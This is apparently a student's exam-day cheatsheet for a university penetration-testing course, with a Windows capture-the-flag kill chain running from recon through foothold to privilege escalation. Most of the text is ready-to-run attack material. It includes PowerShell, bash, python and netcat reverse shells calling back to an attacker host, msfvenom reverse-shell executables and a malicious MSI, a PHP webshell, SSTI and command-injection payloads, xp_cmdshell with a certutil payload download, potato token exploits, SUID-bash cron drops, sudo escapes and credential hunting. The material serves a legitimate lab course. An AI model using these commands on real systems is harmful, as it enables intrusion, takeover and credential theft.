PTD Exam-Day Cheatsheet

ISEC3002 Penetration Testing & Defence — Windows CTF · recon → foothold → Windows privesc · generated 2026-11-10

> **Rules baked into every command below:** reverse-shell/listener ports **4444 / 5555 / 6666 only** · **Metasploit allowed ONCE** — spend it on a foothold, never privesc (`msfvenom` + `nc`/multi-handler listeners are FREE) · **be gentle** — nmap `-T3` default, never `-T5`, no rockyou sprays (loud = IP blacklisted = exam over) · passwords are in rockyou **top ~250** or uncrackable (stop after 2–3 min, one user) · serve payloads on **:8081** · flags live in user / Administrator **Desktop** dirs.

Contents

1. Setup & toolkit guide — scripts, aliases, functions
2. Kill-chain — master driver
3. Recon & enumeration
4. Foothold — SMB / FTP / exploit / web
5. Reverse shells & listeners
6. Windows privilege escalation ⭐
7. Linux privilege escalation
8. Passwords — crack & gentle guess
9. File transfer & exfil

0 · Setup & Toolkit Guide

Everything to stand up Kali from scratch, then a full reference for **every script, alias, and function** in the toolkit. Read this page first; the rest of the PDF is the per-phase playbook.

A. Fresh Kali from scratch — ONE command

Public repo, no login. On a bare Kali box, this installs deps, clones the repo, builds wordlists + aliases, and fetches the privesc binaries:

```
curl -fsSL https://raw.githubusercontent.com/HellFireInfernoStorm/ptd-toolkit/main/bootstrap.sh | bash
```

Then load the helpers into your **current** shell (new terminals load them automatically):

```
source ~/ptd-toolkit/aliases.sh
```

Toggles: `SKIP_APT=1` (skip apt), `SKIP_FETCH=1` (skip binary download), `DEST=/path` (clone elsewhere).

If you'd rather do it by hand (what bootstrap does for you)

```
git clone https://github.com/HellFireInfernoStorm/ptd-toolkit.git && cd ptd-toolkit
bash setup.sh            # apt deps (sudo) + wordlists + aliases + tool check
source aliases.sh        # load sett/recon/web/l4/winrev...
bash scripts/fetch-binaries.sh    # pull SigmaPotato, winPEAS, nc.exe, linpeas... (gitignored, not in repo)
ls -la payloads/         # verify each file size > 0
```

Verify the box is ready

```
type sett recon winrev venexe        # helpers present (they're FUNCTIONS, so `alias` won't list them)
which nmap gobuster evil-winrm xfreerdp3 impacket-mssqlclient searchsploit
sett 10.10.10.10 ; vars              # RHOST set + LHOST auto-detected (both must show)
```

If `git pull` ever complains about file modes: `git config core.fileMode false && git pull`.

Per-box workflow (the whole exam in 6 lines)

```
sett <target-ip>          # set RHOST + auto LHOST (route to target)
recon                     # thorough, port-agnostic recon → read the HINTS/SUMMARY
#   pick a foothold from the hints (web/SMB/FTP/exploit) — cheatsheet 02
l4                        # listener on 4444, THEN trigger your payload (winrev 4444)
#   whoami /priv on the shell → cheatsheet 04 (SeImpersonate → potato → SYSTEM)
#   type the flags; screenshot each step (recon.log + loot/ have the evidence)
```

B. Scripts reference

Script	Usage	What it does
`bootstrap.sh`	`curl …/bootstrap.sh | bash`	One-shot fresh-Kali: install git → clone/update → `setup.sh` → `fetch-binaries.sh` → wire aliases into your shell rc. Toggles: `DEST=`, `SKIP_APT=1`, `SKIP_FETCH=1`.
`setup.sh`	`bash setup.sh`	apt deps (via `install-deps.sh`), builds trimmed wordlists, **generates** `aliases.sh`, checks tools. `SKIP_APT=1 bash setup.sh` to skip apt. Re-run it any time you pull new aliases.
`scripts/install-deps.sh`	`bash scripts/install-deps.sh`	apt-installs everything the toolkit needs (nmap, gobuster, evil-winrm, freerdp3, impacket, seclists…) and symlinks `xfreerdp → xfreerdp3`.
`scripts/recon.sh`	`recon [ip]` or `bash scripts/recon.sh <ip>`	**The workhorse** — see §C below.
`scripts/fetch-binaries.sh`	`bash scripts/fetch-binaries.sh`	Downloads the privesc/enum binaries (SigmaPotato, PrintSpoofer, GodPotato, winPEAS, nc.exe, linpeas, pspy…). Retries on GitHub 504s; skips files already present.
`scripts/serve.sh`	`serve` or `bash scripts/serve.sh [port]`	Serves `payloads/` over HTTP (default **:8081**) and prints the `certutil` / `wget` pull commands with your LHOST filled in.
`scripts/listen.sh`	`l4` / `l5` / `l6` or `bash scripts/listen.sh [port]`	`rlwrap nc` listener; refuses any port that isn't 4444/5555/6666 (exam rule).

Evidence: every script prints each command + its output to the terminal AND saves it

`recon.sh` writes a full transcript to `loot/recon-<ip>/recon.log` and per-service nmap files; `serve.sh` and `listen.sh` echo the exact command they run. **Screenshot straight from the terminal** — you never need to re-run anything, and the files in `loot/` are your backup copy.

C. `recon.sh` — thorough, port-agnostic recon

```
recon                    # uses $RHOST (set by sett)
recon 10.10.10.10        # or pass an IP
MODE=gentle recon        # quieter: no UDP, no vuln scripts
sudo recon               # needed for the UDP phase + OS detection
```

What it does, in order (all at gentle `-T3`):

1. **Full TCP sweep** (`-p-`) → finds every open port.
2. **Version + default-script scan** (`-sV -sC`, + `-O` if root) on those ports.
3. **UDP top-100** (thorough/balanced) → SNMP/TFTP/DNS that hide on odd ports.
4. **Per-service enumeration** — for EACH service nmap identifies (by banner, **not** by port number): targeted NSE scripts, `nmap vuln` scripts (thorough), an offline **searchsploit** on the version, and an **auto quick** `gobuster` on any web port. Then prints **HINTS** with the exact next command.
5. **SUMMARY** — a port→service→version table and all the hints, also saved to `loot/recon-<ip>/summary.txt`.

Modes / toggles: `MODE=gentle|balanced|thorough` (default **thorough**). Override individually: `UDP=1/0`, `VULN=1/0`, `DIRB=1/0` (auto web dir scan). Example: `MODE=thorough UDP=0 recon`.

> **Why port-agnostic matters:** if the lecturer puts the web server on 8531 or SMB on 1445, recon still identifies the *service* and runs the right enumeration against **that** port — and the HINTS hand you commands with the real port already filled in. No more losing time guessing the port.

D. Targeting — set these once per box

Command	Does
`sett <ip>`	export **RHOST** (target) **and auto-detect LHOST** (your IP on the route to the target)
`seti <iface>`	override LHOST from an interface, e.g. `seti tun0` (or just `export LHOST=…`)
`vars`	show current `RHOST` / `LHOST` — check both are set before anything else

Every helper below reads `$RHOST` / `$LHOST`, so set them first.

E. Service helpers — all take the REAL port (odd ports welcome)

Command	Usage	Does
`recon [ip]`	`recon`	full port-agnostic recon (§C)
`nmapfast`	`nmapfast $RHOST`	quick full-port sweep (`-T3 -p-`)
`nmapsvc <ports> [ip]`	`nmapsvc 80,445`	version+script scan of specific ports
`smbnull [port]`	`smbnull` / `smbnull 1445`	list SMB shares via null session
`smap [port]`	`smap` / `smap 1445`	smbmap — shares + READ/WRITE level
`web <port> [path]`	`web 8080`	whatweb + headers + quick gobuster on that port
`gob <port> [wordlist]`	`gob 8080`	deeper gobuster (medium list) on that port
`fuzz <url> [wordlist]`	`fuzz 'http://$RHOST:8080/p?FUZZ=x'`	ffuf param/content fuzz (auto-calibrated)
`rdp <user> <pass> [port]`	`rdp maris 'Summer2026!'`	xfreerdp3 session (default 3389)
`winrm <user> <pass> [port]`	`winrm maris 'Summer2026!'`	evil-winrm PowerShell shell (default 5985)
`ssql <user> <pass> [port]`	`ssql sa 'P@ss'`	impacket-mssqlclient (default 1433) → `xp_cmdshell`

F. Shells, serving & payloads — your fixed infra ports

Command	Does
`l4` / `l5` / `l6`	`rlwrap nc` listener on 4444 / 5555 / 6666 (4444=foothold, 5555=privesc, 6666=spare)
`serve`	`python3 -m http.server 8081` over `payloads/` (prints the certutil/wget pull lines)
`smbserve`	`impacket-smbserver share $(pwd) -smb2support` — SMB delivery when HTTP is filtered
`winrev [port]`	print a ready-to-paste **Windows PowerShell reverse shell** with your LHOST baked in (arg = PORT; ip-tolerant)
`venexe [port]`	`msfvenom` a `windows/x64` reverse-shell **exe** into `payloads/` (does NOT burn the one MSF use)

G. Evidence helper

Command	Does
`ev <command…>`	run any manual command, printing `+ <command>` then its output, and tee it to `loot/manual-<ip>.log`. Use it so ad-hoc commands are screenshot-ready too. e.g. `ev smbclient //$RHOST/Share -N`

H. Port-swap resistance — the whole system assumes nothing about ports

- `recon` classifies by the service nmap detects, not by port, and auto-runs web dir scans on whatever port the web server is really on.
- **Every service helper takes the port as an argument** (`web 8531`, `smbnull 1445`, `winrm u p 9985`) — so when recon says "http on 8531", you run `web 8531` and move on.
- The only fixed ports are **yours**: listeners 4444/5555/6666 and the `serve` port 8081. Those are exam rules / your choice, not the target's.

Reminder of the exam rules baked into the toolkit: reverse-shell ports **4444/5555/6666 only** · **Metasploit once** (save it for a foothold) · **be gentle** (`-T3`, never `-T5`, no rockyou sprays) · passwords in rockyou **top ~250** or uncrackable · serve on **:8081** · flags in user/Admin **Desktop** dirs.

00 — EXAM-DAY KILL CHAIN (start here)

Target = Windows. 3 flags. Goal = SPEED. This is the driver sheet. Set your two variables once, then follow the chain. Every other sheet (`01` – `07`) is a drill-down you jump to as needed.

```
# Run this FIRST in every terminal (or use setup.sh aliases):
export RHOST=10.x.x.x        # target IP
export LHOST=10.x.x.x        # your Kali IP (ip a | grep <iface>)
```

⛔ Rules burned into every command here

- Reverse-shell / payload ports: **4444, 5555, 6666 ONLY** (4444 main · 5555 privesc · 6666 spare).
- **Metasploit = ONE use all exam.** Spend it on a foothold exploit, never on privesc (privesc is manual → bonus marks). `msfvenom` and `nc` listeners do NOT count as the one use.
- **Be gentle.** No `-T5`, no full-rockyou sprays. Loud = IP blacklisted = exam over.
- Passwords = **top ~250 of rockyou** or uncrackable. >2–3 min cracking/guessing ⇒ STOP, pivot.
- **"The answer is often obvious."** Read every note/readme/share/comment. Don't overthink.
- Screenshot + log EVERY command as you go (for the report). `script loot/session-$(date +%H%M).log`.

⏱️ Time budget (90-ish min feel — adjust)

`easy ≈ 20 min · intermediate ≈ 30 min · hard ≈ 40 min`. If a flag stalls 15 min past budget, bank what you have, write it up, move on. Easy = Pass, easy+inter = up to Distinction, all 3 = up to HD.

THE CHAIN

① RECON → `01-recon-enum.md`

```
# gentle full-port, then service scan on what's open
nmap -Pn -n -T3 -p- --open -oN loot/nmap-allports.txt $RHOST
nmap -Pn -n -T3 -sV -sC -p <csv_open_ports> -oN loot/nmap-services.txt $RHOST
```

→ Note every open port + service/version. **Web apps often sit on a high random port** (e.g. 28553).

② FOOTHOLD (get the easy flag + a shell) → `02-foothold.md`

Match what's open to one of the **4 Windows archetypes**:

See this	Do this	Sheet
SMB (445)	`smbclient -L //$RHOST -N` → anon share → read flag / loot creds	02
FTP (21)	anon login → download flag/notes; writable? → drop payload	02
HTTP (80/high)	view-source, gobuster, `sitemap.xml`, robots → RCE / login	02
Service port w/ version	`searchsploit <product ver>` → public exploit (**MSF one-use here**)	02
→ Easy flag usually readable right here (share / web artefact / home dir).		

③ REVERSE SHELL (turn RCE/creds into an interactive shell) → `03-shells.md`

```
# Kali listener FIRST:
nc -lvnp 4444
# then fire the matching payload (web RCE, scheduled pull, service, etc.) back to $LHOST:4444
```

→ Upgrade to a usable shell, then enumerate for privesc.

④ PRIVESC (intermediate + hard usually live here)

- **Windows** → `04-win-privesc.md` — **FIRST:** `whoami /priv`. ⭐ **SeImpersonate → upload SigmaPotato → SYSTEM** is THE path (service accts almost always have it). Else: scheduled-task/service token hijack · writable service .exe · AlwaysInstallElevated MSI.
- **Linux** (if a box is Linux) → `05-lin-privesc.md` — **FIRST:** `sudo -l` **+ SUID +** `getcap` **+ cron**. ⭐ writable root-cron script · sudo-NOPASSWD GTFOBins · cap_setuid. → As SYSTEM/root: `type C:\Users\Administrator\Desktop\*flag*` / `cat /root/*flag*`.

⑤ REPORT → `07-transfer.md` for exfil, `Report Template.docx` for write-up

Each flag: screenshot the flag value + the command that got it + a one-line method note.

Supporting drills

- Move files Kali ↔ target: `07-transfer.md` (`certutil`, `Invoke-WebRequest`, `python3 -m http.server 8081`).
- Crack/guess a password: `06-passwords.md` (hash-ID → hashcat/john; hydra/medusa top-250, slow).

If you're stuck (decision nudges)

```
No foothold?      -> re-enum: every port, gobuster -x php,txt,json, sitemap.xml, robots, view-source,
                     SMB/RPC null session, SNMP (161/udp), anon FTP. The box left a breadcrumb.
Shell but no priv?-> Windows: whoami /priv (SeImpersonate?), schtasks, sc qc, icacls writable paths,
                     read every readme/.ps1/.bak near the last flag, PowerShell history.
                     Linux: sudo -l, find / -perm -4000, getcap -r /, cat /etc/crontab, pspy.
Password wall?    -> top-250 only, one user, 2 min max. Else it's NOT the path — find another vector.
Everything slow?  -> you're probably overthinking. The intended path is simpler than it looks.
```

Reverse-shell ports **4444/5555/6666**. MSF **once**. Gentle scans. Log everything.

01 — Recon & Enumeration (gentle)

Vars: `$RHOST` target, `$LHOST` Kali. **No `-T5`, no `-A` blasting at the start.** Slow = unblacklisted.

> **Fast path:** `recon` (the script) does all of this port-agnostically — detects services on ANY port, runs the right enum, `searchsploit`s versions, auto dir-scans web ports, and prints exploit hints with the real port filled in. The manual commands below are for driving a single step by hand.
>
> ⚠ **Ports can be swapped** by the lecturer — don't assume 80=web / 445=SMB. Read the **service** column from `-sV`, then act on the real port: `web <port>`, `smbnull <port>`, `gob <port>`, `winrm u p <port>`, `ssql u p <port>`. Every toolkit helper takes the port as an argument.

Port scan (two-step, quiet)

```
# 1) all ports, slow, no DNS/ping noise
nmap -Pn -n -T3 -p- --open -oN loot/nmap-allports.txt $RHOST
# 2) version + default scripts on ONLY the open ports (comma-separated)
nmap -Pn -n -T3 -sV -sC -p 21,80,139,445,3389,<etc> -oN loot/nmap-services.txt $RHOST
# UDP (quick, common only - SNMP/DNS live here):
sudo nmap -Pn -n -sU -T3 --top-ports 20 -oN loot/nmap-udp.txt $RHOST
```

`-Pn` skip ping · `-n` no DNS · `-T3` polite (nmap default; `-T4` only if defences lenient, never `-T5`) · `--open` only open ports. Record EVERY port+version.

Per-service enumeration (pick by what's open)

SMB — 139/445 (⭐ common easy-flag source)

```
smbclient -L //$RHOST -N                      # list shares, null session
smbclient //$RHOST/<Share> -N                 # connect anon; then: ls, get <file>, put <file>
#   inside smbclient:  recurse ON; prompt OFF; mget *     (grab everything)
enum4linux-ng -A $RHOST                        # users, shares, OS, password policy
nxc smb $RHOST -u '' -p '' --shares           # netexec (crackmapexec) null-session shares
nxc smb $RHOST -u guest -p '' --shares
rpcclient -U "" -N $RHOST                      # then: enumdomusers, querydispinfo
```

FTP — 21 (⭐ anon read/write)

```
ftp -n $RHOST            # then:  user anonymous anonymous   (or 'ftp'/blank)
#   ls -la ; binary ; get Flag_Easy.txt ; get .bash_history
#   writable? ->  put <payload>      (then trigger it, see 04/05)
curl -s "ftp://anonymous:anonymous@$RHOST/" --list-only   # quick listing
```

HTTP — 80 / any high port (⭐ web foothold)

```
whatweb http://$RHOST:<port>/                              # tech/version fingerprint
curl -s http://$RHOST:<port>/ | head -50                   # and VIEW SOURCE (Ctrl+U) for
comments!
curl -s http://$RHOST:<port>/robots.txt
curl -s http://$RHOST:<port>/sitemap.xml                   # <-- paths gobuster misses (Tut10)
gobuster dir -u http://$RHOST:<port>/ -w /usr/share/wordlists/dirb/common.txt -t 4 \
  -x php,txt,html,json -o loot/gobuster-<port>.txt         # -t 4 = gentle
```

```
# API-ish? recurse into what you find:
gobuster dir -u http://$RHOST:<port>/api/internal/ -w /usr/share/wordlists/dirb/common.txt -x
json -t 4
```

Look for: login forms, upload, admin panels, `/api/*`, template params (SSTI), "Run/Save" controls.

RDP — 3389

```
nmap -p3389 --script rdp-ntlm-info $RHOST          # hostname/domain leak
xfreerdp /u:<user> /p:'<pass>' /v:$RHOST /cert:ignore +clipboard    # once you have creds
# Current Kali ships FreeRDP3 -> binary is `xfreerdp3`. Symlink once so the line above works:
#   sudo ln -sf "$(command -v xfreerdp3)" /usr/local/bin/xfreerdp
```

MSSQL — 1433 / MySQL — 3306

```
nmap -p1433 --script ms-sql-info,ms-sql-ntlm-info $RHOST
sqsh -S $RHOST -U <user> -P '<pass>'               # MSSQL shell (xp_cmdshell -> see 04)
impacket-mssqlclient <user>:'<pass>'@$RHOST        # alternative
```

SNMP — 161/udp

```
snmpwalk -v2c -c public $RHOST                      # whole tree (noisy-ish; grep it)
snmpwalk -v2c -c public $RHOST 1.3.6.1.4.1.77.1.2.25   # users
snmp-check $RHOST -c public
```

WinRM — 5985 / 5986 (foothold once you have creds)

```
nxc winrm $RHOST -u <user> -p '<pass>'
evil-winrm -i $RHOST -u <user> -p '<pass>'          # interactive PowerShell
```

Other / unknown service port

```
nc -nv $RHOST <port>                                # banner grab (type a line, hit enter)
searchsploit <product> <version>                    # public exploit? (MSF one-use candidate)
searchsploit -m <path>                              # copy an exploit locally
```

Quick exploit lookup

```
searchsploit <product> <version>         # offline Exploit-DB
# non-GenAI web allowed: exploit-db.com, packetstormsecurity, vendor advisories, GTFOBins, LOLBAS
```

Gotchas

- The **web app is often on a high random port** — scan `-p-`, don't stop at 80/443.
- Always try **null/anon** first (SMB `-N`, FTP anonymous) — free easy flags.
- **View page source + robots + sitemap.xml** — usernames/paths hide in comments & XML.
- Keep `-t 4` on gobuster and `-T3` on nmap (bump nmap to `-T4` only if the box tolerates it; never `-T5`). Note findings in `loot/` as you go (report evidence).

02 — Foothold (easy flag + first shell)

Map open ports → one of the **4 Windows archetypes**. Easy flag usually sits right here.

Archetype A — anonymous SMB share (445 open)

```
smbclient -L //$RHOST -N                        # list shares
smbclient //$RHOST/<Share> -N                   # connect; recurse ON; prompt OFF; mget *
#   read every .txt/.md/.ps1/.xml — flag + creds + usernames live in shares
nxc smb $RHOST -u '' -p '' --shares             # confirm anon access, see perms (READ/WRITE)
```

Writable share + a scheduled/privileged task that runs from it → drop payload (see `04`).

Archetype B — anonymous FTP (21 open)

```
ftp -n $RHOST     # user anonymous anonymous  → ls -la ; binary ; get <flag/notes>
# Writable (put works)? Upload a web-triggered or task-triggered payload, then trigger it.
```

Archetype C — service port with a known version (⭐ the ONE Metasploit use)

```
searchsploit <product> <version>                # e.g. searchsploit "Apache 2.4.49"
# If a clean public RCE exists and it's the cleanest way in -> spend your single MSF use:
msfconsole -q
#   search <product>;  use <module>;  set RHOSTS $RHOST;  set LHOST $LHOST;  set LPORT 4444;  run
# Otherwise run the searchsploit PoC manually (bonus marks) -> see 03 for the catch.
```

Decide MSF here, not on privesc. If a manual PoC is feasible in a few minutes, prefer it.

Archetype D — web application (80 / high random port) ⭐ most common

```
# 1) FINGERPRINT + read everything
whatweb http://$RHOST:<port>/ ; curl -s http://$RHOST:<port>/robots.txt
curl -s http://$RHOST:<port>/sitemap.xml                # hidden endpoints (Tut10)
#    View source for comments / creds / API paths.
# 2) CONTENT DISCOVERY (gentle)
gobuster dir -u http://$RHOST:<port>/ -w /usr/share/wordlists/dirb/common.txt \
  -x php,txt,html,json -t 4 -o loot/gobuster.txt
```

Then exploit the vector you find:

Command injection (a field/param that reaches the OS):

```
# test:  ; whoami   |   | whoami   |   `whoami`   |   $(whoami)
curl -s "http://$RHOST:<port>/ping?host=127.0.0.1;whoami"
# -> chain a reverse shell (see 03, PowerShell one-liner URL-encoded)
```

SSTI (template engines — Tut7/8):

```
# detect:  {{7*7}} -> 49   |   ${7*7}   |   <%= 7*7 %>
# Jinja2 RCE:  {{ cycler.__init__.__globals__.os.popen('whoami').read() }}
```

File upload → webshell:

```
# upload cmd.php (or .aspx on IIS):  <?php system($_GET['c']); ?>
curl -s "http://$RHOST:<port>/uploads/cmd.php?c=whoami"
# IIS/.NET box? use .aspx:   <% Response.Write(new System.Diagnostics...) %>
```

LFI / path traversal:

```
curl -s "http://$RHOST:<port>/?file=../../../../windows/win.ini"
curl -s "http://$RHOST:<port>/?file=../../../../Users/<u>/Desktop/flag_easy.txt"
```

Login form → try obvious + leaked creds (see `06`; stay gentle, top-250, one user):

```
hydra -l <user> -P wordlists/rockyou-top250.txt $RHOST http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=incorrect" -t 1 -W 1
```

After foothold → turn it into a shell

Go to **`03-shells.md`**. Start the listener BEFORE triggering the payload. Then enumerate for privesc:

```
Windows shell -> whoami /priv   (04)      Linux shell -> sudo -l; id   (05)
```

Reminders

- **Read everything** you can access anonymously first — the easy flag is rarely hidden deep.
- Credentials found here (share notes, PS history, config) often unlock RDP/WinRM/MSSQL → pivot.
- One MSF use total — commit it to the foothold exploit that saves the most time, nowhere else.

03 — Reverse Shells & Listeners

Ports: 4444 (main) · 5555 (privesc) · 6666 (spare). NOTHING ELSE. Listener UP before payload.

Listeners (Kali) — start first

```
nc -lvnp 4444                          # simplest; use for most catches
rlwrap nc -lvnp 4444                   # rlwrap = arrow keys / history in the caught shell
stty raw -echo; (stty size; cat) &     # (after catching) help with a fuller TTY — Linux targets
# Metasploit multi/handler (does NOT count as the one MSF use):
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST
$LHOST; set LPORT 4444; run"
```

Windows reverse shells (pick one)

PowerShell one-liner (most reliable; paste into RCE / run via trigger):

```
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s2=$r+'PS '+(pwd).Path+'>
';$sb=[Text.Encoding]::ASCII.GetBytes($s2);$s.Write($sb,0,$sb.Length);$s.Flush()}"
```

Base64 it to avoid quoting hell in a URL/field:

```
# On Kali: build an encoded command (swap LHOST/port), then run it on target as:
#   powershell -nop -e <BASE64>
SC='$c=New-Object Net.Sockets.TCPClient("'$LHOST'",4444);...'   # (full one-liner above)
echo -n "$SC" | iconv -t UTF-16LE | base64 -w0
```

nc.exe (upload it first — see `07`):

```
nc.exe LHOST 4444 -e cmd.exe
```

msfvenom-built exe (staged payload; does NOT count as the one MSF use):

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o payloads/rev4444.exe
# catch with:  nc -lvnp 4444   (shell_reverse_tcp = plain nc; meterpreter needs multi/handler)
```

Linux reverse shells (if a box is Linux)

```
bash -i >& /dev/tcp/LHOST/4444 0>&1                 # classic
sh -i >& /dev/tcp/LHOST/4444 0>&1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",4444));
[os.dup2(s.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")'
nc LHOST 4444 -e /bin/bash                          # if nc has -e
mkfifo /tmp/f;nc LHOST 4444 </tmp/f|/bin/sh>/tmp/f 2>&1;rm /tmp/f   # if not
```

Upgrade to a proper TTY (Linux shell)

```
python3 -c 'import pty;pty.spawn("/bin/bash")'       # in the shell
# then: Ctrl-Z ; on Kali:  stty raw -echo; fg ; (enter) ; export TERM=xterm
```

Windows: prefer a PS shell; or get `evil-winrm` / RDP once you have creds (quieter, full console).

Quick checklist

- [ ] Listener started on **4444/5555/6666** BEFORE firing the payload.
- [ ] LHOST = your Kali IP (`ip a`), reachable from target (same subnet / VPN).
- [ ] One port per shell — 4444 foothold, 5555 for the privesc SYSTEM/root shell, 6666 spare.
- [ ] Caught a shell? Immediately: `whoami /priv` (Win) or `id; sudo -l` (Linux) → privesc sheet.

04 — Windows Privilege Escalation (intermediate + hard live here)

FIRST COMMAND, ALWAYS: `whoami /priv`. The one line that decides everything.

```
whoami /priv
whoami /groups
```

You see	Jump to	Note
SeImpersonatePrivilege	§1 ⭐ Potato	service accts (`svc_*`, `iis apppool\*`, `nt service\*`) almost always have it
SeAssignPrimaryToken	§1 Potato	same family
SeBackup / SeRestore	§6	read any file / registry hives (SAM)
Admin but not SYSTEM	§1 or `PsExec -s`	getsystem
nothing special	§2–§5	hunt tasks / services / installs

§1 ⭐ SeImpersonate → SigmaPotato → SYSTEM (THE path — try this first)

```
whoami /priv            REM confirm SeImpersonatePrivilege = Enabled (or present)
```

Upload SigmaPotato (see `07` for transfer), then one of:

```
REM direct reverse shell as SYSTEM (listener on 5555 first):
SigmaPotato.exe --revshell LHOST 5555

REM or run a single command as SYSTEM:
SigmaPotato.exe --cmd "cmd /c type C:\Users\Administrator\Desktop\flag_hard.txt"
SigmaPotato.exe --cmd "cmd /c whoami"
```

Alternatives (same trick, if SigmaPotato is AV-flagged or fails):

```
PrintSpoofer64.exe -i -c cmd.exe          REM interactive SYSTEM shell
PrintSpoofer64.exe -c "nc.exe LHOST 5555 -e cmd.exe"
GodPotato-NET4.exe -cmd "cmd /c whoami"    REM match the .NET version present
```

→ As SYSTEM: `type C:\Users\Administrator\Desktop\flag_hard.txt` (or search, see bottom).

§2 Scheduled-task / service token-context hijack (Tut9 Caldera)

A privileged task runs a script/exe you can overwrite → your potato runs in THAT token.

```
schtasks /query /fo LIST /v | findstr /i "TaskName Run As Next"
REM find a task running as SYSTEM/admin whose target file YOU can write:
icacls "C:\path\to\task-script.ps1"        REM look for (M)/(W)/(F) for your user/Users
```

Overwrite the target with your payload (reverse shell or potato call), wait for the trigger. **Offline credential recovery** (SecureString/DPAPI found in a script/task):

```
$sec = '01000000d08c9ddf...' | ConvertTo-SecureString   # DPAPI blob (runs as that user)
[Runtime.InteropServices.Marshal]::PtrToStringAuto(
```

```
  [Runtime.InteropServices.Marshal]::SecureStringToBSTR($sec))
```

§3 Writable service binary (Tut7/8 STARLIGHT, Tut10 HarborWatch)

```
REM find services; check the ones that aren't Windows built-ins:
sc.exe query state= all | findstr SERVICE_NAME
sc.exe qc <SvcName>                          REM BINARY_PATH_NAME + SERVICE_START_NAME (runs as?)
icacls "C:\Path\To\service.exe"              REM can your user write it? (M)/(W)/(F)
```

If writable: replace it with your payload exe, then restart:

```
copy /Y payload.exe "C:\Path\To\service.exe"
sc.exe stop <SvcName> & sc.exe start <SvcName>
REM no restart rights? check: can you  sc config <Svc> binPath= ...  or  reboot-triggered start?
```

Also check **unquoted service paths**:

```
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
REM C:\Program Files\Some Dir\svc.exe  -> drop C:\Program.exe  (if writable)
```

§4 AlwaysInstallElevated (Tut7/8 CYCLES)

```
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
REM both = 0x1 ?  build + run a malicious MSI:
```

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=5555 -f msi -o payloads/evil.msi
# transfer, then on target:
```

```
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
```

§5 MSSQL xp_cmdshell → SeImpersonate (Tut10 Charlice)

SQL service account (`nt service\mssqlserver`) holds SeImpersonate → straight to §1.

```
sqsh -S $RHOST -U <user> -P '<pass>'      # or impacket-mssqlclient user:'pass'@$RHOST
```

```
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';
go
EXEC xp_cmdshell 'certutil -urlcache -f http://LHOST:8081/SigmaPotato.exe
C:\Windows\Temp\sp.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\sp.exe --revshell LHOST 5555';
go
```

§6 Fast enumeration helpers + credential hunting

```
REM creds & history (Tut10 — PowerShell history leaks passwords):
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
findstr /si password *.txt *.ini *.config *.xml *.ps1 2>nul
```

```
reg query HKLM /f password /t REG_SZ /s 2>nul
REM one-shot enum (upload winPEAS, see 07):
winPEASx64.exe quiet
```

Find & read the flags (as SYSTEM/admin)

```
type C:\Users\Administrator\Desktop\flag_hard.txt
dir /s /b C:\Users\*flag*.txt
where /r C:\ flag_*.txt
powershell -c "Get-ChildItem C:\ -Recurse -Filter *flag*.txt -ErrorAction SilentlyContinue"
```

Gotchas

- `whoami /priv` **first** — don't enumerate blind. SeImpersonate present ⇒ you're basically done.
- Service accounts are the shortcut: IIS, MSSQL, most `svc_*` → SeImpersonate → Potato.
- Reverse shell for the SYSTEM catch uses **5555** (keep 4444 = foothold). Spare = 6666.
- Match GodPotato/.NET version to the box; if one potato is AV-killed, try another (Sigma/PrintSpoofer).
- Privesc is MANUAL for bonus marks — **don't** spend the one MSF use here.

05 — Linux Privilege Escalation (if a target is Linux)

FIRST BURST, ALWAYS — run all of these, read the output before guessing:

```
id; sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null          # SUID binaries
getcap -r / 2>/dev/null                          # file capabilities
cat /etc/crontab; ls -la /etc/cron.* /etc/update-motd.d/ 2>/dev/null
uname -a; cat /etc/os-release                    # kernel/distro (last-resort exploits)
```

Get a real TTY first if you're in a raw shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'   # then Ctrl-Z; stty raw -echo; fg; export
TERM=xterm
```

§1 ⭐ Writable root-cron script (Tut10 Sarathos — hard flag)

```
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly
ls -la /srv/*/*.sh /opt/*/*.sh 2>/dev/null        # any script a root cron runs that YOU can
write?
# e.g. mode 777, runs as root every minute -> append a SUID-bash drop:
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /path/to/root_cron.sh
sleep 65; /tmp/rootbash -p                          # -p keeps euid=root
# or just exfil the flag:
echo 'cat /root/flag_hard.txt > /tmp/f.txt; chmod 644 /tmp/f.txt' >> /path/to/root_cron.sh
```

Watch for cron jobs you can't see in crontab with **pspy** (see §6).

§2 sudo -l → GTFOBins escape (Marcadia, ARDOLIS)

```
sudo -l           # read EXACTLY what you may run (NOPASSWD lines)
```

Common escapes (check gtfobins.org — allowed, it's not GenAI):

```
sudo /usr/bin/more /etc/services       # then:  !/bin/sh          (pager escape — Marcadia)
sudo /usr/bin/less /etc/profile        # then:  !/bin/sh
sudo /usr/bin/vim -c ':!/bin/sh'
sudo /usr/bin/php -r 'system("/bin/bash");'          # ARDOLIS
sudo /usr/bin/python3 -c 'import os;os.system("/bin/bash")'
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN{system("/bin/sh")}'
sudo /usr/bin/nmap --interactive                     # then !sh  (old nmap)
sudo env /bin/bash
